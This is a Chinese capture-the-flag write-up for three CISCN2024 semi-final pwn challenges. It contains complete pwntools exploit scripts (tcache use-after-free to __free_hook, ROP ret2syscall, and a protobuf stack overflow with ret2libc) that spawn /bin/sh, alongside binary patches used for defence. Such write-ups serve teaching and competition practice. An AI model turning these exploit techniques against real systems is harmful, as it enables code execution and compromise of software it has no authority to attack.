[CISCN2024]华中半决赛 PWN部分题解
这次比赛中我攻击了2道，防御了3道
note
一道2.31堆题，保护全开，存在UAF漏洞
攻击
先填满tcache bin然后利用unsorted bin泄露libc地址，再UAF修改tcache的fd指针为free_hook，再将system函数的地址写入free_hook，最后触发free函数getshell即可
exp
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
#p = remote('8.147.133.173', 19426)
p = process("./pwn")
#elf = ELF('./pwn')
libc=ELF("./libc.so.6")
def add(size,c):
rl("5. exit\n")
sl(str(1))
rl("The size of your content: \n")
sl(str(size))
rl("content: \n")
s(c)
def edit(idx,size,c):
rl("5. exit\n")
sl(str(2))
rl("index: ")
sl(str(idx))
rl("The size of your content: \n")
sl(str(size))
rl("Content: \n")
s(c)
def free(idx):
rl("5. exit\n")
sl(str(3))
rl("index: ")
sl(str(idx))
def show(idx):
rl("5. exit\n")
sl(str(4))
rl("index: ")
sl(str(idx))
for i in range(10):
add(0x90,b'/bin/sh\x00')
for i in range(7):
free(i)
free(7)
#debug('b *$rebase(0x15D0)')
show(7)
#libc_base=u64(rl(b'\x0a')[-7:-1].ljust(8, b'\x00'))-libc.sym['__malloc_hook']-96-0x10
libc_base = get_addr()-libc.sym['__malloc_hook']-96-0x10
lg("libcbase",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
system,bin=get_sb()
edit(6,0x90,p64(free_hook))
#debug('b *$rebase(0x1370)')
add(0x90,b'a')
add(0x90,p64(system))
free(9)
inter()
防御
这里我将删除功能里的call free直接nop掉，防御成功
go_note
一道go的菜单题，一开始还以为是go heap想直接放弃的（看到go就想吐
但之后仔细看一下发现就是栈溢出，漏洞点在edit功能
str = content.str;
for ( j = 0LL; j < content.len; ++j )
{
*(_BYTE *)v8 = *str;
v8 = (__int128 *)((char *)v8 + 1);
++str;
}
攻击
调试看一下溢出偏移，然后ret2syscall就行
这里要提一嘴，找gadget有点麻烦，要用--depth参数增加搜索深度，然后选择一些不影响参数寄存器的gadget来用
ROPgadget --binary ./note --only "pop|ret|add|mov|xor" --depth 30 |grep "pop rsi"
exp
from pwn import *
p = process('./note')
rax=0x000000000040fbdd #pop rax; pop rbp; ret;
rdx=0x000000000047a8fa #pop rdx ; ret
rdi=0x0000000000462498 #pop rdi ; add eax, 0xc1894800 ; mov rax, rdx ; add rsp, 0xf8 ; pop rbp ; ret
rsi=0x0000000000462552 #pop rsi; add eax, 0xc1894800d; xor eax, eax; add rsp, 0xf8; pop rbp; ret;
syscall=0x000000000045e0a9
bss=0x526680+0x1000
p.recvuntil("choice > ")
p.sendline(str(1))
p.recvuntil("note content: ")
p.sendline(b'a')
payload=b'a'*(0x40)+p64(rdi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0x100)+p64(syscall)
payload+=p64(rdi)+p64(bss)+b'a'*0xf8+p64(bss)+p64(rsi)+p64(0)+b'a'*0xf8+p64(bss)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)*2
p.recvuntil("choice > ")
p.sendline(str(3))
p.recvuntil("Please input note id:")
p.sendline(str(1))
p.recvuntil("Please input new content:")
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()
防御
这里我是直接把*(_BYTE *)v8 = *str;这条语句nop掉了，对应000000000047F3DF mov [r12], r13b这条指令
protoverflow
一道简单的protobuf栈溢出题，比赛的时候因为工具出了点问题导致没能打出来，但防御成功了
赛后自己再重新做了一遍，懒得patch libc，就直接用本机的libc打了（
攻击
漏洞就在memcpy那里
exp
from pwn import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
import message_pb2
context(os='linux', arch='amd64', log_level='debug', terminal = ['tmux','splitw','-h'])
elf_patch = './pwn'
p = process([elf_patch], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(elf_patch)
libc = ELF(p.libc.path)
# debug('b *$rebase(0x332f)')
rl(b'0x')
libc_base = int(r(12), 16) - libc.sym['puts']
rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1
system, binsh = get_sb()
pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
s(serialized_msg)
lg('libc_base', libc_base)
inter()
防御
将memcpy的size参数改成0x200即可，因为设置该参数的汇编指令mov edx, [rbp-0Ch]只有三个字节的长度，但mov edx,0x200有五个字节，所以不能在原指令上直接修改，这里考虑跳转到eh_frame段（在eh_frame段里随便找个看着顺眼的地址）
如果用CE写过汇编脚本，那下面这个应该更好理解
0x0331B:
jmp eh_frame
nop ;nop来补齐六个字节
eh_frame:
mov edx,0x200 ;设置size参数为0x200
mov rcx, [rbp-8] ;还原被覆盖的指令
jmp 0x3322 ;跳转回去